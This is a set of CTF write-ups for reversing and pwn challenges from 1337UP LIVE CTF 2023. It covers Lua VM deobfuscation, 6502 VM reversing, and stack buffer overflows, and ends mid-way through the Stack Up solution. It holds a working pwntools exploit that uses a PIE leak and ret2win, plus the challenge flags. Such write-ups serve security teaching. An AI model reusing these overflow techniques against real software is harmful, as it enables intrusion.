Author0xM4hm0ud & DavidP
CategoryReversing
Solves12
DifficultyMedium
Fileslunar

image

Solution

For this challenge we get another archive containing a flag checker. Using file on the file tells us its Lua bytecode, version 5.1. Nice, this can be reversed by using unluac, which gives us the following result.

$ java -jar unluac.jar lunar > lunar.lua

Cleaning this up a bit by hand gives us the first part, where some payload is decoded and some helper functions that are used to read various data types from the decoded data buffer.

local function decode_payload(i)
  local l, n, c = "", "", {}
  local f = 256
  local o = {}
  for e = 0, f - 1 do
    o[e] = string.char(e)
  end
  local e = 1
  
  local function a()
    local l = tonumber(string.sub(i, e, e), 36)
    e = e + 1
    local n = tonumber(string.sub(i, e, e + l - 1), 36)
    e = e + l
    return n
  end
  
  l = string.char(a())
  c[1] = l
  while e < #i do
    local e = a()
    if o[e] then
      n = o[e]
    else
      n = l .. string.sub(l, 1, 1)
    end
    o[f] = l .. string.sub(n, 1, 1)
    c[#c + 1], l, f = n, n, f + 1
  end
  return table.concat(c)
end

local data = decode_payload("212162751427527823Q22C21Y27727827522A27C27E1625I22B27H27E21Y22D27M27E27P27D27E22827Q27523Q22E27W1623Q27G27T27525I22G28025I22N2801622428822928021Y22M28822K28G28A28427J27S27I23Q22728G22J28822I28G27V28N1628S28N23Q22528B22228023Q29628N21Y22H21Y1627T23322X161327823523823323622R161M27821V22W29O23821223623222R21222O22Y22V22P21O2741227823822R22V22Q29I27823A29M29U1621527821X22X22W22P23822V2362372A323629G22W23921321222N22X2371X2342A022O2B222W22Q29X29Z21222T22X2382AA22T2362A12A322P2141621827822D2BF23823J2162BB2B62BL21223323921222W22X2BJ2BE2BG22R2BI21421222A2BT2122A422V23322W214152781E27E102782392362AH22P162A827522S23J29O29A27Z29228Y27I1621O28G28I2922872CU27822T23222V23827E1O2781K22029E16172782742DM2772842CK2D42DR2DM182752CK2DY2DO2771221K2782E1161W1T2DM1F2DN2DB2E42782EC2DO2EF2752E7212219162CK2772DU21M2EO2ET2DO2121R2ET2CK29J2122BN2EQ2ET2EJ161U2ED181I162CO1N2ED2E32E52752FD2EI2FG2F62ED2E92DM2FA2DO112CU2FK2FP2FS2782F72EV2EN2EP2FB2752ES2CK2CK2EV2EX2G42AE2F12DM2CK2CO1K21N2EU2DP1G2EY162CM2782A828Z2CK2CV27E2DU2DV2ED2762842CO2752CQ2CS2DB2752DD2DF27E2FA2782172DM27E1K2DZ2GU162DQ2G82842GQ27I2G02HH2HD2782E32DM2HB2GG2752HF2ET2HL2DO27I2A82A82HW2HC2DS2G12DM2FI2F42FK2I52902HR2751H2HU2GM2FK1L2GU2272ET27I2IC2G027821C2782I0142EC2762D426U21L2AE27523622V22S22Y29P2GX162CH23922R2382362I3162GZ2CH2CT2GQ2CX29O2IJ2JC23722S2IX162AG2CH2JA1V27822722W23A2372BJ2J22AO29Y2C222R22R22Q2C123622X21222S2A0161A2DP2H32AQ2BI2J82AY27E2AK27829D2I02752HQ2772KO2HC2HA2752HZ2GM2IT2I52GE2G127T2121S2G12CO2GS162FR2I02HQ2CM2GQ2DQ2CM2CM2F02752IS2JB161D2JN2782KD29J27I2EC2KD27I2GL2D42J42EI21S2DM29J2HW2G02KO21Z2JJ2782G82GS1021D2DM1P2ED2GP2FK2MD2DO2L02772FR2KP2JS2CK2LV2KX2DV2HY2DJ27529J2LJ2M72ET2LQ2IT2KR27E28Z2N027E2II2N12KP21E2IA2F42HD1K2N92M12GM2BP2CK2H82DO1021A2DM1X2ED2FJ2782NO2NQ2752162GU2M52L927E2212GK2ED2GX2FR2EC2J4162DI2O42H92FR2MK2GM2LZ2CK1Y2GU2IC2I22IN2IP2IP21V27E2102782L42KP2752DO2LA2N42OS2GJ2OX2MS2OX29J2MZ2HQ2CO2J42HQ2OB2MT2O12ML162HQ2EC2LV1K225161C162LJ2HQ2LM2GS2HQ2KD2PJ2OX1B2LL2P92DY2LT2PC27519162PT2OX29R2DY2OX2FD2LM2OX2HB2PX2HQ2IG2Q02KP2PH2FA29R2OX1J2PU2OX2GI2QB2IB29Q2P92F72FD2OX2JS2HQ2PY162L42QO162EA2IG2OX1Q2PI2P92EX2H62PC2PH2DI2R02MD2QK2OX2742GI2OX2132QL2QX2OP2IC2OX2112FL2OX2OG2RF2QX1Z162RI2QX1W162QT2QX2NO2JS2CL2NR2FE2HB2KS1022C2DM2OU2H921P2OL2782SG2LW2SC2M32SF2GT2SJ2H92PC22B2DB2OR2HE2KV2DB2EA2HQ29J2R52HX2SD2QX2A82SU2DQ2MS2EX2KX2E227E29J2L72752CO2HI2MU2DW2NL2AE2GF2SE2F52TM2FV2752M52MI2GF29J2DI2N82G12MD2782Q029J2N12F521U2ED2L02TV2DJ2N92CO2DQ2PZ2AE2N72IO2OT27E")

local bit_xor = bit32 and bit32.bxor or function(e, l)
  local n, o = 1, 0
  while 0 < e and 0 < l do
    local t, c = e % 2, l % 2
    if t ~= c then
      o = o + n
    end
    e, l, n = (e - t) / 2, (l - c) / 2, n * 2
  end
  if e < l then
    e = l
  end
  while 0 < e do
    local l = e % 2
    if 0 < l then
      o = o + n
    end
    e, n = (e - l) / 2, n * 2
  end
  return o
end

local valueForBitRange = function(l, e, n)
  if n then
    local e = l / 2 ^ (e - 1) % 2 ^ (n - 1 - (e - 1) + 1)
    return e - e % 1
  else
    local e = 2 ^ (e - 1)
    return e <= l % (e + e) and 1 or 0
  end
end
local e = 1

local function readInt()
  local l, n, c, t = string.byte(data, e, e + 3)
  l = bit_xor(l, 6)
  n = bit_xor(n, 6)
  c = bit_xor(c, 6)
  t = bit_xor(t, 6)
  e = e + 4
  return t * 16777216 + c * 65536 + n * 256 + l
end

local function readByte()
  local l = bit_xor(string.byte(data, e, e), 6)
  e = e + 1
  return l
end

local function readShort()
  local l, n = string.byte(data, e, e + 2)
  l = bit_xor(l, 6)
  n = bit_xor(n, 6)
  e = e + 2
  return n * 256 + l
end

local function readFloat()
  local e = readInt()
  local l = readInt()
  local t = 1
  local o = valueForBitRange(l, 1, 20) * 4294967296 + e
  local e = valueForBitRange(l, 21, 31)
  local l = (-1) ^ valueForBitRange(l, 32)
  if e == 0 then
    if o == 0 then
      return l * 0
    else
      e = 1
      t = 0
    end
  elseif e == 2047 then
    return o == 0 and l * (1 / 0) or l * (0 / 0)
  end
  return math.ldexp(l, e - 1023) * (t + o / 4503599627370496)
end

local function readByteArray(l)
  local n
  if not l then
    l = readInt()
    if l == 0 then
      return ""
    end
  end
  n = string.sub(data, e, e + l - 1)
  e = e + l
  local l = {}
  for e = 1, #n do
    l[e] = string.char(bit_xor(string.byte(string.sub(n, e, e)), 6))
  end
  return table.concat(l)
end

From the structure we can assume the obfuscator used was ironbrew-2. The obfuscator uses a vm-like structure to represent and obfuscate code. The payload contains the bytecode, which is executed and the following part loads and initializes the vm runtime.

local e = l

local function createTableAndCount(...)
  return {
    ...
  }, select("#", ...)
end

local function loadImage()
  local i = {}
  local o = {}
  local e = {}
  local d = {
    i,
    o,
    nil,
    e
  }
  local e = readInt()
  local t = {}
  for n = 1, e do
    local l = readByte()
    local e
    if l == 3 then
      e = readByte() ~= 0
    elseif l == 2 then
      e = readFloat()
    elseif l == 0 then
      e = readByteArray()
    end
    t[n] = e
  end
  for e = 1, readInt() do
    o[e - 1] = loadImage()
  end
  for d = 1, readInt() do
    local e = readByte()
    if valueForBitRange(e, 1, 1) == 0 then
      local o = valueForBitRange(e, 2, 3)
      local f = valueForBitRange(e, 4, 6)
      local e = {
        readShort(),
        readShort(),
        nil,
        nil
      }
      if o == 0 then
        e[3] = readShort()
        e[4] = readShort()
      elseif o == 1 then
        e[3] = readInt()
      elseif o == 2 then
        e[3] = readInt() - 65536
      elseif o == 3 then
        e[3] = readInt() - 65536
        e[4] = readShort()
      end
      if valueForBitRange(f, 1, 1) == 1 then
        e[2] = t[e[2]]
      end
      if valueForBitRange(f, 2, 2) == 1 then
        e[3] = t[e[3]]
      end
      if valueForBitRange(f, 3, 3) == 1 then
        e[4] = t[e[4]]
      end
      i[d] = e
    end
  end
  d[3] = readByte()
  return d
end

After this the interesting part starts. The function run executes the logic. For this the code is split into functional fragments which are executed with associated opcodes. To analyze this we can print the opcode, that will effectively give us the program flow.

local function run(e, d, a)
  local n = e[1]
  local l = e[2]
  local e = e[3]
  return function(...)
    local t = n
    local D = l
    local o = e
    local i = s
    local l = 1
    local c = -1
    local C = {}
    local s = {
      ...
    }
    local F = select("#", ...) - 1
    local r = {}
    local n = {}
    for e = 0, F do
      if o <= e then
        C[e - o] = s[e + 1]
      else
        n[e] = s[e + 1]
      end
    end
    local e = F - o + 1
    local e, o
    while true do
      e = t[l]
      o = e[1]
      # added to dump the opcodes
      print(o)
      if o <= 46 then
        if o <= 22 then
          if o <= 10 then
            if o <= 4 then
              if o <= 1 then
                if o == 0 then
                  local o = e[2]
                  local t = n[o]
                  local c = n[o + 2]
                  if 0 < c then
                    if t > n[o + 1] then
                      l = e[3]
                    else
                      n[o + 3] = t
                    end
                  elseif t < n[o + 1] then
                    l = e[3]
                  else
                    n[o + 3] = t
                  end
                else
                  local e = e[2]
                  n[e](f(n, e + 1, c))
                end
              elseif o <= 2 then
                if n[e[2]] then
                  l = l + 1
                else
                  l = e[3]
                end
-- ... snip

When executing, we get something like this:

50
47
47
47
40
4
84
84
24
Enter the flag: asd
27
42
70
53
42
70
53
42
70
53
7
43
7
32
42
58
Input length needs to be 39 characters!
2
42
35
34
Sorry, the flag is not correct. Try again.
17

Right, we know the flag needs to be 39 characters wide. Lets try again. This time the program flow looks different. A lot sequences repeat which suggests that those parts run per flag character.

50
47
47
47
40
4
84
84
24
Enter the flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
27
42
70
53
42
70
53
...
7
43
7
32
86
35
7
35
92
42
68
87
80
48
8
74
65
37
46
42
30
22
61
53
42
68
87
80
48
...
8
74
65
37
46
42
30
22
61
53
35
42
10
81
46
13
63
46
35
74
13
63
46
35
74
13
63
...
43
7
76
79
61
2
42
35
34
Sorry, the flag is not correct. Try again.
17

By going opcode by opcode and checking the functionality we can make sense out of the flow. And/or find interesting parts where we can print informations. For instance, opcode 50 and 47 are initializing an array with values.

-- opcode 50
n[e[2]] = {}
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]

-- opcode 47
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]
l = l + 1
e = t[l]
n[e[2]] = e[3]

Opcode 40 copies the array to some memory location, and opcode 24 prints the input prompt and reads input.

-- opcode 40
local l = e[2]
local o = n[l]
for e = l + 1, e[3] do
    table.insert(o, n[e])
end

Going through the whole sequence bit by bit gives us eventually enough informations to reverse the full flow and lets us recreate the original lua code.

local flag = {
    0x4a,0x50,0x57,0x4d,0x4c,0x58,0x50,0x42,0x52,0x7b,0x57,0x67,0x34,0x5f,0x61,0x6b,0x34,0x5f,0x65,0x4f,0x34,0x5f,0x4f,0x33,0x75,0x5f,0x73,0x67,0x59,0x5f,0x32,0x37,0x34,0x38,0x39,0x32,0x37,0x33,0x7d
}

local function encryptChar(char, shift)
    local byte = string.byte(char)
    if byte >= 65 and byte <= 90 then
        byte = ((byte - 65 + shift) % 26) + 65
    elseif byte >= 97 and byte <= 122 then
        byte = ((byte - 97 + shift) % 26) + 97
    end
    return string.char(byte)
end

local function check(input, idx)
    local enc = encryptChar(string.char(input), idx)
    if enc == string.char(flag[idx]) then
        return true
    else
        return false
    end
end

local function checkFlag(input)
    local inputBinary = {}

    for i = 1, #input do
        table.insert(inputBinary, string.byte(input:sub(i, i)))
    end

    if #inputBinary ~= #flag then
        print("Input length needs to be " .. #flag .. " characters!")
        return false
    end

     local checkResult = {}
    for i = 1, #inputBinary do
        table.insert(checkResult, check(inputBinary[i], i))
    end

    local count = 0
    for i, value in ipairs(checkResult) do
       count = count + (value and 1 or 0)
    end
    return count == #flag
end

io.write("Enter the flag: ")
local input = io.read()

if checkFlag(input) then
    print("Congratulations! You've found the correct flag.")
else
    print("Sorry, the flag is not correct. Try again.")
end

With this we can create a script that decodes the flag for us.

flag = [0x4a,0x50,0x57,0x4d,0x4c,0x58,0x50,0x42,0x52,0x7b,0x57,0x67,0x34,0x5f,0x61,0x6b,0x34,0x5f,0x65,0x4f,0x34,0x5f,0x4f,0x33,0x75,0x5f,0x73,0x67,0x59,0x5f,0x32,0x37,0x34,0x38,0x39,0x32,0x37,0x33,0x7d]

def decrypt_char(byte, shift):
    if 65 <= byte <= 90:
        byte = ((byte - 65 - shift + 26) % 26) + 65
    elif 97 <= byte <= 122:
        byte = ((byte - 97 - shift + 26) % 26) + 97
    return chr(byte)

for i, c in enumerate(flag):
    print(decrypt_char(c, i+1), end="")

Another possible solution would be to brute force the flag. This works by injecting print statements in some opcode that returns conditional results based on, if the current flag character is valid or not.

import subprocess

def run_command(command, input_data):
    try:
        result = subprocess.run(command, input=input_data, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        return result.stdout
    except subprocess.CalledProcessError as e:
        print(f"Error: {e}")
        return None

command_to_run = ["lua", "decomp.lua"]
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\{\}'
flag_length = 39
flag = ""
true_count = 0

while true_count < flag_length:

    for char in characters:
        current_attempt = flag + char + "A" * (flag_length - len(flag) - 1)
        result = run_command(command_to_run, current_attempt)

        if result and result.count("true") > true_count:
            flag += char
            true_count += 1

print("Final flag:", flag)

"""
In the decompiled lua code add this print statement:

elseif o <= 61 then
    print(n[e[2]])
    return n[e[2]]
"""

Both methods will give the flag.

Flag INTIGRITI{Lu4_lu4_lU4_R3v_reV_27489273}

Impossible Mission

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud & DavidP
CategoryReversing
Solves5
DifficultyMedium
Filesimpossible.zip

image

Solution

We are provided with two files. One binary and one file with data in it. If we use strings on file program.prg we don't get any results.

Lets see what happens if we run the binary. If we just run it we are provided with a help output describing commandline arguments. There are some options we can choose from and we need to pass in a program file. Lets try this:

$ ./runtime program.prg
READY.
test

?SYNTAX  ERROR
READY.

Seems to be some kind of virtual machine where the runtime executes the program.prg. To see whats going on we can open the binary with Ghidra. The binary is stripped but we can easily find main via _entry. The main function looks something like this:

undefined8 main(int param_1,long param_2)
{
  int iVar1;
  undefined8 local_1030;
  char local_1028 [4096];
  undefined8 local_28;
  int local_1c;
  long local_18;
  int local_10;
  int local_c;
  
  local_c = 0;
  local_10 = 0;
  local_18 = 0;
  memset(local_1028,0,0x1000);
  local_1c = 1;
  do {
    if (param_1 <= local_1c) {
      if (local_c != 0) {
        local_10 = 0;
      }
      if (local_18 == 0) {
        printf("usage: %s [options] program\n  options:\n    -a, --asm assemble source\n    -o, --ou tput set output name for assembler"
               ,"runtime");
      }
      else {
        local_28 = FUN_001041d2(local_18,&local_1030);
        if (local_10 != 0) {
          FUN_00103f87();
          FUN_00103ffa(local_28,local_1030);
          FUN_001040b8();
          FUN_00103ff3();
        }
        FUN_001042b3(local_28);
      }
      return 0;
    }
    if (**(char **)(param_2 + (long)local_1c * 8) == '-') {
      iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"--asm");
      if (iVar1 != 0) {
        iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"-a");
        if (iVar1 != 0) {
          iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"--out");
          if (iVar1 != 0) {
            iVar1 = strcmp(*(char **)(param_2 + (long)local_1c * 8),"-o");
            if (iVar1 != 0) goto LAB_001023eb;
          }
          if (local_1c + 1 < param_1) {
            strncpy(local_1028,*(char **)(param_2 + ((long)local_1c + 1) * 8),0x1000);
            local_1c = local_1c + 1;
          }
          goto LAB_001023eb;
        }
      }
      local_c = 1;
    }
    else {
      local_18 = *(long *)(param_2 + (long)local_1c * 8);
      local_10 = 1;
    }
LAB_001023eb:
    local_1c = local_1c + 1;
  } while( true );
}

We can ignore most of function main as it is code that parses commandline arguments, although the different options are not doing anything meaningful. Maybe a remnant that was forgotten? Who knows... The interesting part is reached if a program name is passed as argument.

local_28 = FUN_001041d2(local_18,&local_1030);
if (local_10 != 0) {
  FUN_00103f87();
  FUN_00103ffa(local_28,local_1030);
  FUN_001040b8();
  FUN_00103ff3();
}
FUN_001042b3(local_28);

Analyzing the functionality a bit further, we can rename the functions. From top to bottom it looks like the program file is loaded to a buffer. The vm is initialized and the buffer is loaded by the vm. Then the program is executed. All in all the cleaned up code looks like this.

local_28 = load_data_from_file(local_18,&local_1030);
if (local_10 != 0) {
  initialize();
  load_program(local_28,local_1030);
  run();
  does_nothing();
}
free_buffer(local_28)

The function run is a simple loop calling a simulation step per loop cycle. Function step reads the next opcode from our code and uses the opcode as loopup index into a array containing function pointers. We can assume the array contains pointers to the opcode handlers. From read8bytes we can deduce some more informations. We see that our program counter is stored at DAT_00108900 and our vm memory is stored at DAT_00108908.

void run(void)
{
  int iVar1;
  
  do {
    iVar1 = step();
  } while (iVar1 != 0);
  return;
}

bool step(void)
{
  code *pcVar1;
  byte bVar2;
  
  bVar2 = read8bytes();
  pcVar1 = *(code **)(&DAT_001080c0 + (long)(int)(uint)bVar2 * 8);
  if (pcVar1 == (code *)0x0) {
    panic();
  }
  (*pcVar1)();
  return DAT_00108900 != -1;
}

undefined read8bytes(void)
{
  uint uVar1;
  
  if (0xcffe < ProgramCounter) {
    panic();
  }
  uVar1 = (uint)ProgramCounter;
  ProgramCounter = ProgramCounter + 1;
  return (&VmMemory)[(int)uVar1];
}

Going back to load_program we can see that our program counter is initialized with 0xc000, we can assume this is the base address our program is loaded to.

bool load_program(void *param_1,size_t param_2)
{
  if ((long)param_2 < 0x1001) {
    memcpy(&DAT_00114908,param_1,param_2);
    FUN_0010269e(0xffff);
    ProgramCounter = 0xc000;
  }
  return (long)param_2 < 0x1001;
}

Knowing where to find the opcode handler lookup table we can retype the array to void* and can start reversing the opcode handlers. For instance the function at index 8 writes a value to the vm memory at index DAT_00108906 + 0x100. This could be a push operation. We can rename DAT_00108906 to StackPointer.

void push(undefined param_1)
{
  (&VmMemory)[(int)(StackPointer + 0x100)] = param_1;
  StackPointer = StackPointer - 1;
  return;
}

The function at index 9 reads 8 bytes and does a bitwise or with what is at DAT_00108902. We rename this to ORand move on.

void OR(void)
{
  byte bVar1;
  
  bVar1 = read8bytes();
  DAT_00108902 = bVar1 | DAT_00108902;
  FUN_001025fa(0x80,DAT_00108902 & 0x80);
  FUN_001025fa(2,DAT_00108902 == 0);
  return;
}

After a while the functionality of the vm opcodes should become clear. We find that, opcodes use 8 bytes. Then, depending on the opcode are 0, 1 or 2 bytes of instruction parameters. Another conclusion we might draw is (also the input prompt gives this away as an hint) that this vm is implementing a 6502 instruction set. With this at hand we write a small disassembler so we can make sense out of the program image.

One thing to note is that values might not be recognized but the program starts with a JMP skipping some parts of the binary. These parts typically hold data, so we either can trace the flow and decide which parts are not reached or we just guess the initial jump skips the data section. Now we have the disassembly we need to understand the functionality and attach some comments.

00ae LDX 3
00b0 JSR ffc9     ; ffc9 is kernal routine CHKOUT, channel 3 (screen) is set as output channel

00b3 LDA 2e
00b5 STA fb
00b7 LDA c0
00b9 STA fc       ; store 16 bit address $c02e to zero page at $fb, $fc
00bb JSR c099     ; call subroutine at $c099

The subroutine at $99 (remember our base address is $c000) was not dumped, so there is more code before the program start. We readjust our offset manually and continue.

Subroutine $c099.

0099 LDY ff       ; initialize Y 
009b INY          ; increment, Y will wrap around to `0`
009c LDA (fb), y  ; load 16 bit address from zero page at $fb,$fc
009e ASL
009f BCC 2
00a1 ORA 1
00a3 ASL
00a4 BCC 2
00a6 ORA 1
00a8 JSR ffd2     ; ffd2 is kernal routine CHROUT, this prints the value at AC to screen
00ab BNE ee       ; if character was not `\x00` we are not finished
00ad RTS

This routine prints a string to screen. But there is a bit of bit shifting going on. We can translate this to the following python code (string is taken from the hexdump offset 03to03 to 1C):

string = [0xD4, 0x55, 0xD0, 0xD0, 0x51, 0xD4, 0xD4, 0x8B, 0x8B, 0x8B, 0x08, 0xD4, 0x12, 0x55, 0x15, 0x15, 0x52, 0x93, 0xD1, 0x08, 0x11, 0xD3, 0xD5, 0x93, 0x8B, 0x82]

for x in string:
    b = (x & 0x80) >> 7
    x = ((x << 1) & 0xff) | b
    b = (x & 0x80) >> 7
    x = ((x << 1) & 0xff) | b
    print(chr(x),end="")

Calling this gives us:

$ python decode_string.py
SUCCESS... SHUTTING DOWN.

Perfect, this way we can decode all string from the data section. All in all we get:

SUCCESS... SHUTTING DOWN.
?SYNTAX  ERROR
READY.

Ok, we knew these strings already, and no flag.. Lets continue analyzing the dissassembly.

00be LDX 0
00c0 LDA 0
00c2 STA c07c       ; store `0` to `$c07c`
00c5 JSR ffcf       ; ffcf is kernal routine CHRIN, this reads a character from keyboard

00c8 CMP d
00ca BEQ 21
00cc CMP a
00ce BEQ 1d         ; check if the character is carriage return or newline. if so we leave the input loop

00d0 PHA            ; store LDA on stack
00d1 LDA c07c       ; load LDA with value at `$c07c`
00d4 CMP 46         ; compare if with 70
00d6 PLA            ; restore LDA
00d7 BEQ 14         ; if the value at `$c07c` equals 46, we leave the input loop

00d9 CMP 20
00db BMI e8
00dd CMP 7e
00df BPL e4         ; compare input value to be in range $20-$7e so printable character range

00e1 STA c036, x    ; store the user input value in memory
00e4 INX            ; increment X
00e5 INC c07c       ; increment value at `$c07c`, we can assume this is the input length stored in a variable
00e8 JMP c0c5       ; jump back to input loop start

The part reads user input and stores the input in memory. Only readable characters are accepted and the maximum user input is 70. Ok, moving on...

00eb some var
00ec some var
00ed LDX ff         ; loads $ff to X
00ef INX            ; increment X, X will wrap around to `0`
00f0 LDA c07d, x    ; load value from `$c07d` at index X
00f3 CMP 0          ; check loaded byte against `0`
00f5 BNE f8         ; if byte was not `0` continue counting

00f7 TXA            ; copy X to AC
00f8 CMP c07c       ; compare length of string at `$c07d` against user input length
00fb BNE 35         ; if not equal jump to $0132 (relative jump offset)

This first calculates the length of a string stored at $c07d and compares the length against the user input length. We can assume the flag is stored in memory at $c07d and this code compares the input length against flag length. Since we now know where the flag is stored, we should try to decode it with our string decoding functionality we found before.

$ python decode_string.py
R^ÁJ   rú¥a<¸ï©Ø\¼,7

Well... no. So we continue with our analysis. Lets see where the code jumps to if the string length doesn't match. This should be the fail handler.

0132 LDA a
0134 JSR ffd2       ; output newline to screen
0137 LDA 1e
0139 STA fb
013b LDA c0
013d STA fc         ; store address of string `?SYNTAX  ERROR`
013f JSR c099       ; call print subroutine
0142 JMP c0ae       ; jump back to start

Yes, this prints the ?SYNTAX ERROR error message. The remaining code is getting short, but this should be the interesting part.

00fd LDX 0          ; load `0` to X
00ff LDA c07d, x    ; read flag character at offset X to register AC
0102 CMP 0          ; check if we reached the string end
0104 BEQ 1b         ; jump out of the loop, if we did
0106 STX c0eb       ; store X to temporary variable
0109 EOR c0eb       ; xor AC with current offset (X)

010c ASL
010d ADC 80
010f ROL
0110 ASL
0111 ADC 80
0113 ROL            ; do some bit twiddles to swap high/low nibble of byte

0114 EOR c036,      ; xor AC with user input at offset X
0117 ORA c0ec       ; bitwise or AC with value at `$c0ec`
011a STA c0ec       ; store result in `$c0ec`
011d INX            ; move to next character
011e JMP c0ff       ; jump back to loop start

0121 LDA c0ec
0124 BNE c          ; check if value at `$c0ec` is zero, if not we jump to fail handler

0126 LDA 3
0128 STA fb
012a LDA c0
012c STA fc         ; load address of string `SUCCESS... SHUTTING DOWN.`
012e JSR c099       ; call print subroutine
0131 RTS

Ok, here we have it. The code loops over the flag and user input, decodes one character of the flag and compares it against the current user input character. The comparison is tracked for each character of a string as a bitmask and at the end the code checks if the bitmask is still zero, meaning the user input matches with the flag. With this we can grab the encoded flag bytes and try to decode them with a small script.

data = [0x94, 0xE5, 0x47, 0x97, 0x70, 0x20, 0x92, 0x42, 0x9C, 0xBE, 0x69, 0x58, 0x0F, 0x2E, 0xFB, 0x6A, 0xC4, 0x26, 0xE7, 0x36, 0x17, 0x23, 0xA0, 0x20, 0x2F, 0x0B, 0xCD]
flag = ""

for i, c in enumerate(data):
    # xor with key
    c ^= i
    # swap nibbles
    c = ((c & 0x0F) << 4 | (c & 0xF0) >>4)
    flag = flag + chr(c)

print(flag)

And yes, running this will finally give us the flag.

Flag INTIGRITI{6502_VMs_R0ckss!}

Source code of the vm can be found here.

Hidden

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud
CategoryPwn
Solves111
DifficultyEasy
Fileshidden.zip

image

Solution

When unzipping we get a binary. Lets check the protections:

image

So all protections enabled. We can check the main function and see that it calls the input function:

image

When we check the input function we see that there is no canary in this function. There is also a buffer overflow vulnerability. We can read 0x50 bytes into a buffer on the stack with a smaller size:

image

There is also a win function called _:

image

So we can just overflow and jump to the win function, but because of PIE that is enabled we can't do this. We need to leak. If we check close at the input() we can see that after the read call it prints our input with puts. Puts reads till it find a null byte and because we have an overflow we can fill the entire buffer till the return address and leak the return address. But we also need to jump back so we need to overwrite the lsb of the return address(last 3 nibbels stays the same):

image

So when we jumped back to main with the leak we know the address of the win function. We then can do a normal ret2win to get the flag.

solve.py

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript = '''
'''.format(**locals())

exe = './chall'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#context(terminal=['tmux', 'split-window', '-h'])

io = start()

payload = flat (
    b'A' * 72,
    p8(0x1a)
    )

io.sendafter(b':\n', payload)

io.recvuntil(b'A' * 72)
leak = u64(io.recvline()[:-1].ljust(8, b'\x00'))
elf.address = leak - 0x131a

log.success("Main address: %#x", leak)
log.success("Binary base: %#x", elf.address)

payload = flat (
    b'A' * 72,
    p64(elf.sym._)
    )

io.sendafter(b':\n', payload)
io.interactive()

Stack Up

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud & DavidP
CategoryPwn
Solves3
DifficultyEasy
Filesstackup.zip

image

Solution

We are provided with two files. This chall is similar to the Impossible Mission challenge, but now its an pwn challenge. One binary and one file with data in it. If we use strings on file program.prg we get some strings, like the REDACTED flag:

$ strings program.prg
INTIGRITI{REDACTED_REDACTED}
Welcome! Something here...
Bye bye!
Hello

Lets disassemble it with our disassembler that we created in the reversing challenge. Here the output(With some comments of my own):

; Set keyboard as active input channel
004c LDX 3
004e JSR ffc9

; Start of the program. 
0051 LDA 20
0053 STA fb
0055 LDA c0
0057 STA fc
0059 JSR c0c9       ; Jumps to the print function
005c JSR c06d       ; Jumps to the function that takes our input
005f LDA 3c         ; Loads bye bye message
0061 STA fb
0063 LDA c0
0065 STA fc
0067 JSR c0c9       ; Jumps to the print function
006a RTS            ; Exits

; Take our input and does some checks
006b some var
006c some var
006d CLC
006e TSX
006f STX c06b       ; Stores the SP at some memory
0072 TXA
0073 SBC 32         ; Substract 0x32/50 from the SP
0075 TAX
0076 DEX
0077 TXS
0078 STA fd
007a LDA 1
007c STA fe
007e LDY 0
0080 LDA 0
0082 STA c06c
0085 JSR ffcf       ; This will take our input
0088 PHA
0089 LDA c06c       ; Loads our input length in the accumulator
008c CMP 64         ; Compares our input length in the accumulator with 0x64/100. 100 is Maxsize. OVERFLOW is here because we can input more characters than the buffer can take(50)
008e PLA
008f BEQ 11
0091 STA (fd), y
0093 INY
0094 INC c06c       ; Increments our input length
0097 CMP d          ; d is 0x13(carriage return) so checks if user clicks on enter
0099 BEQ 7
009b CMP a          ; a is 0x10(newline) so checks if user clicks on enter
009d BEQ 3
009f JMP c085
00a2 LDA 45
00a4 STA fb         ; Loads Hello message
00a6 LDA c0
00a8 STA fc
00aa JSR c0c9       ; Jumps to the print function
00ad LDA fd         ; Loads our input 
00af STA fb
00b1 LDA fe
00b3 STA fc
00b5 JSR c0c9       ; Jumps to the print function
00b8 LDX c06b       ; Grabs the SP and puts in the X register 
00bb TXS
00bc RTS

; Win function
00bd LDA 3          ; Loads the flag
00bf STA fb
00c1 LDA c0
00c3 STA fc
00c5 JSR c0c9       ; Jumps to the print function
00c8 RTS

; Print function
00c9 LDY ff
00cb INY
00cc LDA (fb), y
00ce JSR ffd2
00d1 BNE f8
00d3 RTS

So from here we can see that we have an buffer overflow vulnerability and that there is a win function. We know 50 is the length so everything above 50 will be overflow. Our padding will be 51 because the buffer is 50 and SP points after the return address. We can also see it in the disassembled output:

006e TSX            ; Puts SP in X register
006f STX c06b       ; Stores the SP at some memory
0072 TXA            ; Puts value at X register in accumulator
0073 SBC 32         ; Substract 0x32/50 from the SP
0075 TAX            ; Puts accumulator back in X register 
0076 DEX            ; Decrements X by 1
0077 TXS            ; Puts the value in the X register in the SP register

How do we know where we need to return? When we decompile the binary with ghidra for example, we can find the init function:

bool load_program(void *param_1,size_t param_2)
{
  if ((long)param_2 < 0x1001) {
